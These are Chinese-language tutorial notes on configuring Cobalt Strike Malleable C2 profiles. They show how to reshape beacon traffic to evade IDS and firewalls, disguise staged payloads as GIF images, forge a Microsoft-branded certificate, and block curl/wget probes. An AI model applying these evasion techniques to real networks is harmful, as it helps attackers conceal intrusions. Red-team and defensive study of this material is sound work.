Cobalt Strike 之: Malleable C2
鄭重宣告:
本筆記編寫目的只用於安全知識提升,並與更多人共享安全知識,切勿使用筆記中的技術進行違法活動,利用筆記中的技術造成的後果與作者本人無關。倡導維護網路安全人人有責,共同維護網路文明和諧。
Cobalt Strike 之: Malleable C2
目錄Malleable C2 是 Cobalt Strike 的一項功能, 意為 "可定製的" 的 C2 伺服器。Malleable C2 允許通過修改c2配置檔案,改變 Beacon 與 C2 通訊時的流量特徵與行為,偽造正常的通訊的流量,實現一些 IDS 入侵檢測防火牆的繞過。
1 Malleable-C2-Profiles 簡單使用
-
下載 Malleable-C2-Profiles
threatexpress/malleable-c2: Cobalt Strike Malleable C2 Design and Reference Guide (github.com)
-
呼叫 Malleable-C2-Profiles
# ./teamserver [external IP] [password] [/path/to/my.profile] ./teamserver 192.168.0.2 qweasd malleable-c2/jquery-c2.4.0.profile
-
驗證配置檔案
./c2lint [/path/to/my.profile]
2 配置檔案簡析
2.1 配置檔案結構
# this is a comment
set global_option "value";
protocol-transaction {
set local_option "value";
client {
# customize client indicators
}
server {
# customize server indicators
}
}
2.2 配置檔案文句
# 以 http-get 配置部分舉例:
http-get {
set uri "/foobar";
client {
metadata {
base64;
prepend "user=";
header "Cookie";
}
}
2.2.1 定義Beacon客戶端傳送的元資料
當客戶端(Beacon payload)回連TeamServer時,它會發送關於自身的元資料給 Cobalt Strike。配置檔案中,我們必須定義如何編碼此元資料和如何使用我們的 HTTP GET 請求傳送元資料:
序號 | 處理步驟 | 作用 | 資料 |
---|---|---|---|
0 | Start | metadata | |
1 | base64 | Base64 編碼資料 | bWV0YWRhdGE= |
2 | prepend "user=" | 在資料前新增"user="字串 | user=bWV0YWRhdGE= |
3 | header "Cookie" | 轉換後的元資料儲存在Cookie的客戶端 HTTP 頭中 |
2.2.2 定義 Beacon 伺服器提取元資料
假設我們的 Cobalt Strike 的 web 伺服器收到了獲取 URI
/foobar
的 GET 請求,需要提取元資料:
序號 | 處理步驟 | 作用 | 資料 |
---|---|---|---|
0 | Start | ||
1 | header "Cookie" | 恢復儲存在Cookie的客戶端 HTTP 頭中的資料 | user=bWV0YWRhdGE= |
2 | prepend "user=" | 移除客戶端新增的"user="字串 | bWV0YWRhdGE= |
3 | base64 | Base64 解碼資料 | metadata |
2.2.3 資料轉換語言
2.2.4 終止語句
資料轉換始以終止語句結束。在一個數據轉換中只能使用一個終止語句。這個語句告訴 Beacon 和它的伺服器在哪裡儲存轉換後的資料。
2.2.5 特殊字串
2.2.6 Headers 和 Parameters
新增額外資訊到 beacon 中進行互動通訊,直譯器會按順序解釋你的 header 語句和 parameter 語句。格式如下:
# 強制 Beacon 在發出請求時向 /foobar URI 新增 bar=blah 引數。
http-get {
client {
parameter "bar" "blah";
# 新增一個header來讓迷惑網路安全監控團隊。此地無銀。
http-get {
server {
header "X-Not-Malware" "I promise!";
2.2.7 引數選項
sleeptime:設定心跳包時間,單位為毫秒
jitter:預設的抖動因子(0-99%)
maxdns:通過DNS上傳資料時的主機名最大長度(0-255)
uri:指定多個URI要以空格分隔。URI大小寫敏感。Cobalt Strike在檢入時將為每個主機隨機分配URI。http-get和http-post之間的URL不能相同 ,所有URI必須唯一。
2.2.8 HTTP Staging
Beacon 是一個分階段的 payload。這意味著 payload 被一個 stager 下載然後注入到記憶體中。使用C2 的 http-stager 自定義 HTTP staging 過程。
# uri_x86 選項設定用於下載 x86 payload stage 的 URI。
# uri_x64 選項設定用於下載 x64 payload stage 的 URI。
http-stager {
set uri_x86 "/get32.gif";
set uri_x64 "/get64.gif";
# client 關鍵字定義 HTTP 事務的客戶端。
# 使用 parameter 關鍵字來給 URI 增加一個引數。
# 使用 header 關鍵字來給 stager 的 HTTP GET 請求增加一個頭欄位。
client {
parameter "id" "1234";
header "Cookie" "SomeValue";
}
# server 關鍵字定義 HTTP 事務的伺服器端。
# header 關鍵字給伺服器的響應增加一個伺服器頭欄位。
# output 關鍵字是一個改變 payload stage 的資料轉換。這個資料轉換可能僅僅是在 stage 之前新增字串或給 stage 增加字串。使用 print 終止語句來關閉這個輸出語句塊。
server {
header "Content-Type" "image/gif";
output {
prepend "GIF89a";
print;
}
}
}
2.2.9 HTTP 伺服器配置
http-config {
set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
header "Server" "Apache";
header "Keep-Alive" "timeout=5, max=100";
header "Connection" "Keep-Alive”;
set trust_x_forwarded_for "true";
set block_useragents "curl*,lynx*,wget*";
}
# set headers:指定 HTTP 頭欄位在 HTTP 響應中傳遞的順序,不在列表中的 HTTP 頭會被新增到末尾。
# header:在 HTTP 響應中新增 HTTP 頭,如果頭的值已經在響應包中存在,則忽略該值。
# set trust_x_forwarded_for:決定 Cobalt Strike 是否使用 X-Forwarded-For HTTP 頭來確定請求的遠端地址。如果你的 Cobalt Strike 伺服器在一個 HTTP 重定向器後,請使用此選項。
# set block_useragents:配置一個阻止或回覆404的 UA 列表。預設阻止 curl, lynx, wget,具體見下圖。
2.2.10 自簽名 SSL 證書
https-certificate {
set CN "www.bing.com";
set O "Microsoft Corporation";
set C "US";
set L "Redmond";
set OU "Microsoft IT";
set ST "WA";
set validity "365";
}
2.2.11 有效的 Beacon SSL 證書
https-certificate {
set keystore "domain.store";
set password "mypassword";
}
製作有效的Beacon SSL 證書步驟
-
建立一個 Java Keystore檔案
keytool -genkey -keyalg RSA -keysize 2048 -keystore domain.store
-
生成 Certificate Signing Request (CSR),將生成的檔案提交給你的 SSL 證書供應商,他們將驗證你的身份並頒發證書
$keytool -certreq -keyalg RSA -file domain.csr -keystore domain.store
-
匯入SSL 廠商提供你的 Root 和其他中間證書
$keytool -import -trustcacerts -alias FILE -file FILE.crt -keystore domain.store
-
安裝域名證書
$keytool -import -trustcacerts -alias mykey -file domain.crt -keystore domain.store
3 流量分析
未經偽造的流量:
經過偽造的流量: